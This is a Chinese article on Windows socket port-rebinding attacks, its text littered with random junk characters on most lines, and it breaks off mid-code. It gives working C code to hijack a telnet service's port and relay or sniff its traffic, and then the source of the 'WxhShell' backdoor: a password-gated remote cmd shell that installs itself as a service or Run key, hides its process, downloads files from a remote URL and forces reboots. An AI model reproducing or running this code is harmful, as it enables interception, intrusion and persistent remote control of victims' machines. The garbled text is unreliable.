在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
="YGR: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gm)Uyr$ {>1FZsR49t saddr.sin_family = AF_INET;
?v
M9
! ecs 0iW-, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+`GtZnt# ,9bnR;f\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<EUR: ^C'0Y.H S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:+Ukwno?/ 1V1I[CxlX 这意味着什么?意味着可以进行如下的攻击:
70 7( LG o p9dYjG7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b*?u+tWP_ Oh$:qu7o0& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D`WRy}o |~BnE
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{7goYzQsi% 4Wiy2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<v0`r2^S{- RX>P-vp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b`-|7<s @5nFa~*K% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@/<UhnI zw+aZDcV( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>E+g.5
,:W W#<1504ip #include
7m-% #include
_aPAn|. #include
=lJ
?yuc #include
A!bG 2{r DWORD WINAPI ClientThread(LPVOID lpParam);
95mf int main()
l@B9}Icq {
V,_m>$Mo WORD wVersionRequested;
)6)bI.BY DWORD ret;
pjFO0h_Y WSADATA wsaData;
vv
,4n&D BOOL val;
;_(f(8BO
SOCKADDR_IN saddr;
aL;!BlU8v SOCKADDR_IN scaddr;
Z71m(//*} int err;
e7U\gtZ. SOCKET s;
{zAI-?#*u SOCKET sc;
qazA,|L! int caddsize;
+\Vm t[v HANDLE mt;
RHC ZP DWORD tid;
mF*x&^ie wVersionRequested = MAKEWORD( 2, 2 );
~+dps i err = WSAStartup( wVersionRequested, &wsaData );
?+d`_/IB if ( err != 0 ) {
!CYC7HeF printf("error!WSAStartup failed!\n");
0M HiW= return -1;
Ax=HDW} }
>lRZvf-i saddr.sin_family = AF_INET;
G7CeWfS ls@]%pz.1d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R
p&J!hlA U7s$';y"% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
O{X~,Em=q saddr.sin_port = htons(23);
W r/-{Wt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lv
8EfN {
-)}s{[]d6m printf("error!socket failed!\n");
sE"s!s/ return -1;
:k/Xt$` }
2 kDsIEA val = TRUE;
`}PYltW //SO_REUSEADDR选项就是可以实现端口重绑定的
7s(tAbPdB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
92DM1~
* {
ss)x
fG printf("error!setsockopt failed!\n");
f4f2xe7\Q return -1;
S!b18|o" }
s/D)X=P1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.hat!Tt9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"@UQSf, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vamZKm~p ~gfR1SE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D`LBv,n {
B3#G ret=GetLastError();
! K>iSF< printf("error!bind failed!\n");
KMRPleF return -1;
=5+*TL` }
sasurR|; listen(s,2);
&P?2H66s while(1)
j<<d A[X {
FO2e7p^Q caddsize = sizeof(scaddr);
vQEV,d1 //接受连接请求
Tz]R}DKB& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P3_.U8g$r if(sc!=INVALID_SOCKET)
CFaY= Cy {
OBWWcL- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y2
@8B6 if(mt==NULL)
Pv'Q3O2<I {
/5ZX6YkeH printf("Thread Creat Failed!\n");
IP62|~Ap break;
P=94 }
]i*ucW4 }
(GSP3KKo*G CloseHandle(mt);
Cu[-<>my }
(>v'0RA closesocket(s);
\/NF??k,jk WSACleanup();
ukWn@q* return 0;
@?3f`l
9 }
LIZB!S@V \ DWORD WINAPI ClientThread(LPVOID lpParam)
5f-b>=02 {
^dQ{vL@9b9 SOCKET ss = (SOCKET)lpParam;
REUxXaN>Z SOCKET sc;
)%7P?^> unsigned char buf[4096];
[qYr~:` -[ SOCKADDR_IN saddr;
wX,V:QE
long num;
<g[z jV9p DWORD val;
{OU|' DWORD ret;
{a7~P0$ //如果是隐藏端口应用的话,可以在此处加一些判断
xe`^)2z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vi,hWz8WB saddr.sin_family = AF_INET;
Y?0/f[Ax,y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$coO~qvU saddr.sin_port = htons(23);
X ,QsE{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,;)ZF {
JWn26, printf("error!socket failed!\n");
fvkcJwkc return -1;
Mbi]EZ }
?%,NOX val = 100;
WgtLKRZ\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C?<pD+]b_ {
Q.mJ7T~T ret = GetLastError();
fO*jCl return -1;
q-F
K=r 5 }
4qQ,1&!]S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G7 %bY {
gYKz,$ ret = GetLastError();
2B,O/3y return -1;
Ed9Uw7 }
/A=w`[< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6%v9o?:~l {
-=ZL(r
1 printf("error!socket connect failed!\n");
.G0 N+) closesocket(sc);
Luq4q95] closesocket(ss);
a{5SOe;; return -1;
#z `W ,^C }
,erw(7}'. while(1)
~3&{`9Y {
(`P\nnb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=*mT{q@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
~Z\:Nx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U ZM #O num = recv(ss,buf,4096,0);
j|eA*UE if(num>0)
2QfN.<[- send(sc,buf,num,0);
',+yD9 @ else if(num==0)
BrV{X&>[i break;
Z~5) )5Ye; num = recv(sc,buf,4096,0);
&.?XntI9O if(num>0)
k:@DK9
"^ send(ss,buf,num,0);
+a1x; else if(num==0)
#~ u0R>= break;
LFp "Waiv }
+{J8,^z# closesocket(ss);
)-C3z closesocket(sc);
0'QWa{dS\ return 0 ;
P15
H[<:Fz }
CD|[PkjW "LMj,qZ1! %`Re{%1; ==========================================================
tXD$HeBB? bzgC+yT 下边附上一个代码,,WXhSHELL
\o9 \ikR zw0w."V
==========================================================
XX6Z|Y5. 7>vm?a^D2& #include "stdafx.h"
#&Sr;hAJ X#Bb?Pv #include <stdio.h>
:=*deZ< #include <string.h>
9"[;ld < #include <windows.h>
v9*m0|T0M #include <winsock2.h>
JxAQ,oOO #include <winsvc.h>
qWt}8_" #include <urlmon.h>
-yYdj1y;
N;7/C
#pragma comment (lib, "Ws2_32.lib")
`8:0x?X #pragma comment (lib, "urlmon.lib")
nwRltK pSZ2>^"; #define MAX_USER 100 // 最大客户端连接数
6cQgp]% #define BUF_SOCK 200 // sock buffer
4M'>oa #define KEY_BUFF 255 // 输入 buffer
op,L3:R\Z 8[^'PIz #define REBOOT 0 // 重启
QTV*m>D #define SHUTDOWN 1 // 关机
.n-#A y8Va>ul"U #define DEF_PORT 5000 // 监听端口
7R+(3NU1A 6b|?@ #define REG_LEN 16 // 注册表键长度
I.2J-pu} #define SVC_LEN 80 // NT服务名长度
C0rf !40>LpL[ // 从dll定义API
/zn=AAYb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o5<<vvdA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'%)R}wgV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k9|5TLXq?
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0D X_*f .6B\fr.za // wxhshell配置信息
<g4}7l8 struct WSCFG {
.R9Z$Kbq int ws_port; // 监听端口
e|~MJu+1 char ws_passstr[REG_LEN]; // 口令
XR5KJl int ws_autoins; // 安装标记, 1=yes 0=no
Xlo7enzY char ws_regname[REG_LEN]; // 注册表键名
wb-yAQ8 char ws_svcname[REG_LEN]; // 服务名
7*/{m K) char ws_svcdisp[SVC_LEN]; // 服务显示名
5=dL` char ws_svcdesc[SVC_LEN]; // 服务描述信息
B@,9Cx564 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{|;a?]? int ws_downexe; // 下载执行标记, 1=yes 0=no
K|& f5w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8a)AuAi?! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C*9X;+S0J Uv^\[ };
6Rd4waj_,U vDy&sgS$< // default Wxhshell configuration
p7h#.m~Qu struct WSCFG wscfg={DEF_PORT,
WWT1= #" "xuhuanlingzhe",
5{Cz!ut;tE 1,
uOxHa>h "Wxhshell",
b}J%4Lx%m "Wxhshell",
CSk]c9= "WxhShell Service",
dWqn7+: "Wrsky Windows CmdShell Service",
*[Hrbln "Please Input Your Password: ",
#;!&8iH 1,
'sNZFB# "
http://www.wrsky.com/wxhshell.exe",
1^iBS "Wxhshell.exe"
kc,"w\ ai };
?b7\m":' L'e_?`!: // 消息定义模块
8fR(y~_gF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K*6 "c.D char *msg_ws_prompt="\n\r? for help\n\r#>";
So:X!ljN(e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0p.bmQSH char *msg_ws_ext="\n\rExit.";
g(7-3q8eq char *msg_ws_end="\n\rQuit.";
"4j~2{{F char *msg_ws_boot="\n\rReboot...";
@@EI=\ char *msg_ws_poff="\n\rShutdown...";
gcLz}84 char *msg_ws_down="\n\rSave to ";
4s\spvJ yDWIflP0; char *msg_ws_err="\n\rErr!";
]B8
A char *msg_ws_ok="\n\rOK!";
0.aXg " \P\Z<z7jy char ExeFile[MAX_PATH];
'\Xkvi int nUser = 0;
R>'
%}|v/ HANDLE handles[MAX_USER];
_ k-_&PR int OsIsNt;
"kg`TJf= 7#8Gn=g SERVICE_STATUS serviceStatus;
=x~I'|%3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
b@:OlZ~% c]=2>ov)hR // 函数声明
">A<%5F2 int Install(void);
5&Oc`5QD int Uninstall(void);
4aayMS!# int DownloadFile(char *sURL, SOCKET wsh);
Hl*vS int Boot(int flag);
^xo<$zn void HideProc(void);
.nV2n@SR int GetOsVer(void);
>J"IN I int Wxhshell(SOCKET wsl);
DA=!AK> void TalkWithClient(void *cs);
~lj~]j int CmdShell(SOCKET sock);
0D-`>_ int StartFromService(void);
]`^! ]Ql int StartWxhshell(LPSTR lpCmdLine);
M .#} )7q$PcY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[B0BHJ~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
a6p0_-MF i1iP'`r // 数据结构和表定义
9hp&HL)BOa SERVICE_TABLE_ENTRY DispatchTable[] =
yTm
\OUD {
*MF9_V)8V {wscfg.ws_svcname, NTServiceMain},
gGqrFh\ {NULL, NULL}
p|UL<M9{a] };
Aoa8Q
E
H`EhsYYK // 自我安装
$-4](br| int Install(void)
gesbt {
"W<Y1$Y=Y char svExeFile[MAX_PATH];
'uPAG;)m HKEY key;
P5S]h strcpy(svExeFile,ExeFile);
'3.\+^3 $:ush"=f8^ // 如果是win9x系统,修改注册表设为自启动
s.3"2waZ=T if(!OsIsNt) {
3G})$y3m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,5DJ54B! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A^U84kV= RegCloseKey(key);
O&%'j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&(F
c .3m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g` rr3jP RegCloseKey(key);
=]5tYIU return 0;
T:}Q3 }
~o}:!y }
'g v0;L }
\ovs[& else {
f}otIf
a[{$4JpK // 如果是NT以上系统,安装为系统服务
3i^X9[. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F%>$WN#2 if (schSCManager!=0)
bzN[*X| {
5#Er& 6s SC_HANDLE schService = CreateService
}~FX!F#oU (
WP<L9A schSCManager,
Xr*I`BJ wscfg.ws_svcname,
W"{Ggk` wscfg.ws_svcdisp,
|k a _Zy SERVICE_ALL_ACCESS,
*yq65yZi5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
F/Goq` SERVICE_AUTO_START,
EOPx4+o SERVICE_ERROR_NORMAL,
Y&2FH/(M svExeFile,
}T5@P {3P3 NULL,
?_Qe45 @ NULL,
/A_:`MAZ NULL,
h*w9{[L NULL,
XM'tIE+| NULL
w[~G^x& );
\C~X_/sg if (schService!=0)
CS^6$VL7e {
OVK
)]- ~ CloseServiceHandle(schService);
-jH|L{Iyq} CloseServiceHandle(schSCManager);
dPUe5k)G_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oEIpv;:_ strcat(svExeFile,wscfg.ws_svcname);
Rv1W &s& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1NYR8W]2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NAYLlW}A RegCloseKey(key);
*V>?m6y/ return 0;
'%$Vmf)= }
vPkLG*d8 }
jIh1)*]054 CloseServiceHandle(schSCManager);
1?@HOu }
/9vi }
=m.Nm -g >$Y/B=e return 1;
87
gk
}
X [Y0r eORXyh\K // 自我卸载
k1&9 bgI int Uninstall(void)
`46~j {
s$Vl">9# HKEY key;
Ni~IY#
' @yp0WB if(!OsIsNt) {
$8^Hkxy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/wDf,Hduz RegDeleteValue(key,wscfg.ws_regname);
GDu^P+^ RegCloseKey(key);
_p$/.~Xo9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W>3S%2d RegDeleteValue(key,wscfg.ws_regname);
mK:gj&N7X| RegCloseKey(key);
hSehJjEoM return 0;
:{u`qi }
|q`NJ }
VL%. maj }
WJ{Iv] }9 else {
7_~ A*LM d$IROZK-D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H'AN osv if (schSCManager!=0)
Ft5A(P > {
*%xbn8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*)m:u : if (schService!=0)
5c- P lm% {
Dka,v if(DeleteService(schService)!=0) {
C-M_:kQ[U CloseServiceHandle(schService);
+p 6Ty2rz CloseServiceHandle(schSCManager);
xHgC':l(0 return 0;
(p]FI# y }
?Y"%BS+pt CloseServiceHandle(schService);
161P%sGx2 }
,Ckcc CloseServiceHandle(schSCManager);
!Asncc G }
#GM^ :rF }
D
e&,^"% 5lsslE+:J return 1;
ETZf }
7F<{ Qn Hq.rG-,p // 从指定url下载文件
eV7;#w<] int DownloadFile(char *sURL, SOCKET wsh)
Vr2A7kq {
gP_N|LuF" HRESULT hr;
: (UK'i char seps[]= "/";
uFr12ZFgK char *token;
0/HFLz' char *file;
M9)4ihK char myURL[MAX_PATH];
Wf
c/?{ char myFILE[MAX_PATH];
l7`{ O/hN &'6/H/J strcpy(myURL,sURL);
HZ3;2k token=strtok(myURL,seps);
S:1[CNL; while(token!=NULL)
CPB{eQeDuv {
Es>' N3A
z file=token;
6Bq_<3P_ token=strtok(NULL,seps);
FjCGD4x1N }
rLTBBvV ^4=#,K GetCurrentDirectory(MAX_PATH,myFILE);
rKgl:sj+ strcat(myFILE, "\\");
[O3:?BNY strcat(myFILE, file);
9NTNulD>P send(wsh,myFILE,strlen(myFILE),0);
8LV6E5Q send(wsh,"...",3,0);
i1evB9FZ1z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$J1`.Q>)4 if(hr==S_OK)
rHKO13WF return 0;
d(IJ-qJN else
il^;2`]& return 1;
("U<@~ b<FE
}
('x]@ s|%R // 系统电源模块
x3n9|Uud int Boot(int flag)
"B'c;0@q {
>0HH#JW HANDLE hToken;
WK|5:V8E TOKEN_PRIVILEGES tkp;
.\_):j* IiE6i43 if(OsIsNt) {
T)P)B6q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Gz&} OO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O)jD2X? tkp.PrivilegeCount = 1;
1Uup.( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*}2L4] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
X]y:uD{ if(flag==REBOOT) {
;JxL>K( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"_/ih1z] return 0;
HH*y$ }
fd[N]I3 else {
)tG. 9"< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Q`F1t return 0;
k;\gYb%L }
8"%Es }
Q6m8N else {
q|*^{(tWs if(flag==REBOOT) {
3(e_2v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[9sEc return 0;
G&S2U=KdV% }
L{1sYR%s\ else {
}y6)d. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@43psq1 return 0;
eN])qw{ }
-nSf< }
z&;8pZr exq5Z c% return 1;
L-+g` }
6R45+<. }AS?q?4? // win9x进程隐藏模块
{+9RJmZg void HideProc(void)
Y
w0,K& {
I)mB]j .D@J\<,+l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q-! H7o if ( hKernel != NULL )
>'4A[$$4mM {
Ki><~!L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C8K2F5c5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_mSefPl FreeLibrary(hKernel);
1(DiV#epG }
CH6 m ?xR7Ii3 return;
^m z9sV }
^fsMfB * zp tbZ // 获取操作系统版本
d-b04Q7DQ int GetOsVer(void)
F*P0=DD {
^;EhKG OSVERSIONINFO winfo;
$Ivjcs: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8m")
)i- GetVersionEx(&winfo);
%jtUbBN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e!5} #6Kd return 1;
w(@r-2D" else
Jk*cuf`rq return 0;
@` KYgjjH }
_:Qh1 &h krfXvQJwJ // 客户端句柄模块
.D W>c}1 int Wxhshell(SOCKET wsl)
o-6d$c}{f {
`<9>X9.+ SOCKET wsh;
LGt>=|=bj struct sockaddr_in client;
4]r_K2.cc DWORD myID;
H9)@q3<
PCl5,]B} while(nUser<MAX_USER)
~xd?y*gk; {
9[/0 int nSize=sizeof(client);
k|-\[Yl . wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
) lUS' I if(wsh==INVALID_SOCKET) return 1;
)'kpO> _G E7$&:xqx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[[|#}D:L if(handles[nUser]==0)
V}V->j* closesocket(wsh);
9w-\K] else
*s4|'KS2o nUser++;
[Vs\r&qL }
iaL@- dg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~YH?wdT i >3`V6 return 0;
?W'z5'| }
nkHl;;WJ !R8%C!=a // 关闭 socket
s!(R void CloseIt(SOCKET wsh)
L3{(Bu {
2Wzx1_D"a closesocket(wsh);
HTh?&u\QG nUser--;
>W> rhxU ExitThread(0);
}r,M(Zr }
uZ?P{E,K vx9!KWy} // 客户端请求句柄
4AJ] qu void TalkWithClient(void *cs)
D_lRYLA+ {
dWd%>9}
S1$^ _S
= SOCKET wsh=(SOCKET)cs;
+@ChZ char pwd[SVC_LEN];
%"`p&aE: char cmd[KEY_BUFF];
t2,II\Kl char chr[1];
xJ3C^b%H int i,j;
FQ>$Ps*a[ ]ogifnwv while (nUser < MAX_USER) {
$5pCfW8> yv-R<c!' if(wscfg.ws_passstr) {
ebze_: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+iC:/CJL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}T[@G6# //ZeroMemory(pwd,KEY_BUFF);
kx&JY9( i=0;
ins(RWO while(i<SVC_LEN) {
b^HDN(v \=0;EI-j // 设置超时
]1++$Ej fd_set FdRead;
)|*Qs${tF struct timeval TimeOut;
d7^
` FD_ZERO(&FdRead);
v_zt$bf{Y FD_SET(wsh,&FdRead);
q=3>ij{v TimeOut.tv_sec=8;
D=ej%]@iw TimeOut.tv_usec=0;
Mqr]e#"o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F?6kkLS/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
EA~xxKq PMP{|yEx" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1"y!wsM% pwd
=chr[0]; "=a3"/u
if(chr[0]==0xd || chr[0]==0xa) { d&^b=d FDu
pwd=0; P8m0]T.&x
break; e=9/3?El
} Z 7@'I0;A
i++; nZioFE}
} !*v%
s
OH@"]Nc~
// 如果是非法用户,关闭 socket 44e]sT.B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k^}[+IFJ
} -f |/#1
SNqSp.>-U"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1NP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _\>y[e["p
Lc~m`=B
while(1) { x/<ow4C
mW{;$@PLF"
ZeroMemory(cmd,KEY_BUFF); N[
=I
JA4Zg*7I
// 自动支持客户端 telnet标准 i$y=tJehi
j=0; bkJ bnW=
while(j<KEY_BUFF) { .6gx|V+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,t 2CQ
cmd[j]=chr[0]; uUfw"*D
if(chr[0]==0xa || chr[0]==0xd) { P'VHga
cmd[j]=0; )>ML7y
break; &m--}
} 5x@ U<
j++; h.tj8O1
} eY3:Nl^
]L~z9)
// 下载文件 }4>u_)nt
if(strstr(cmd,"http://")) { ^x&x|ckR!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4PVg?
if(DownloadFile(cmd,wsh)) u[qy1M0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U,2OofLM
else St?mq* ,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `&NFl'l1C
} 9SeGkwec?$
else { Hs)]
gp9O%g3'
switch(cmd[0]) { -}m
2M+RA}dX
// 帮助 (~G*'/)
case '?': { @zS/J,:v}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W\[E
break; P{dR
pH|
} &3/`cl[+
// 安装 =-!jm? st*
case 'i': { q5g_5^csM{
if(Install()) HZ<#H3_ix
send(wsh,msg_ws_err,strlen(msg_ws_err),0); il>+jVr
else :(enaHn#~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .U(6])%;@
break; iY>xx~V
}
#4|RaI|.
// 卸载 {W?!tD43"
case 'r': { w8D8\`i!"
if(Uninstall())
&K]|{1+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:Y1g)|K
else `_vPElQXZ#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vc'p+e|(
break; }|h-=T '
} m:Rx<E
E
// 显示 wxhshell 所在路径 7eq.UyUxs
case 'p': { 3wN4kltt
char svExeFile[MAX_PATH]; M}jl\{
strcpy(svExeFile,"\n\r"); TJP;!uX
strcat(svExeFile,ExeFile); 7h9oY<W
send(wsh,svExeFile,strlen(svExeFile),0); T2-x 1Sw_
break; 6iQqOAG
} Yaq0mef0
// 重启 _x5-!gK
case 'b': { 2^s@n3t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NTJ,U2
if(Boot(REBOOT)) S?t
`/"O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vasw@Uto)
else { toF6 Z
closesocket(wsh); 'NWvQR<X
ExitThread(0); BfCib]V9C
} AkjoD7.*
break; h1>.w
pr
} ,=!s;+lu{
// 关机 Rt%Dps%
case 'd': { P9\y~W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e7G>'K
if(Boot(SHUTDOWN)) ,S(_YS^m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'cE@(US
else { ed,+Slg
closesocket(wsh); ;$a|4_U$m
ExitThread(0); fR.raI4et
} dd=5`Bo9Yh
break; ]Gl_L7u`
} 0wBr_b!
// 获取shell ;Xidv9c
case 's': { d{!zJ+n
CmdShell(wsh); -GgV&%'a
closesocket(wsh); oi3Ix7
ExitThread(0); pfim*\'
break; dkEnc
} ]H:K$nmX
// 退出 kH=~2rwm
case 'x': { YVHDk7s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xT9+l1_
CloseIt(wsh); [t^%d9@t
break; n=fR%<v
} I |D]NY^
// 离开 jP@t!=
case 'q': { Rx<[bohio
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $AFiPH9
closesocket(wsh); e ]>{?Z
WSACleanup(); u*;53 43
exit(1); *7Sg8\wDn
break; gp'n'K]
} RDG,f/L2
} I@a7!ugU65
} XeBSHvO_
;`bJgSCfo
// 提示信息 MD:kfPQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G[yN*C
} I^A01\p
} 7L:R&W6
4d'tK^X
return; Y@%6*uTLa
} m4P=,=%
Df/f&;`
// shell模块句柄 Q^V`%+
int CmdShell(SOCKET sock) dR/UXzrc
{ w_J`29uc
STARTUPINFO si; >BQF<
ZeroMemory(&si,sizeof(si)); 4sK|l|W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NU/~E"^I.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1[`l`Truz
PROCESS_INFORMATION ProcessInfo; nBiA=+'v
char cmdline[]="cmd"; s.dn~|a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d0Kg,HB
return 0; ?t.?f`(|
} Hp> J,m(*
L{CHAVkV
// 自身启动模式 l 0b=;^6
int StartFromService(void) >|I3h5\M
{ ;/{Q4X{
typedef struct 4_I,wG@
{ VF==F_l
DWORD ExitStatus; LRd,7P
DWORD PebBaseAddress; XWy
iS\
DWORD AffinityMask; s_h<
DWORD BasePriority; ow`c B
ULONG UniqueProcessId; ;1OTK6
ULONG InheritedFromUniqueProcessId; O,1u\Zy/
